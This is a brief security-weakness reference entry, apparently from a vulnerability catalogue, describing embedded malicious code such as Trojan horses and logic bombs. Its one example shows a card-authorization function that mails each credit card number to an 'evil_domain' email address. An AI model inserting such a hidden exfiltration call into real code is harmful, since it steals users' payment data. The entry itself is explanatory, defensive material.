Embedded Malicious Code

Description

Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

Demonstrations

The following examples help to illustrate the nature of this weakness and describe methods or techniques which can be used to mitigate the risk.

Note that the examples here are by no means exhaustive and any given weakness may have many subtle varieties, each of which may require different detection methods or runtime controls.

Example One

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

boolean authorizeCard(String ccn) {


  // Authorize credit card.

  ...

  mailCardNumber(ccn, "evil_developer@evil_domain.com");

}

See Also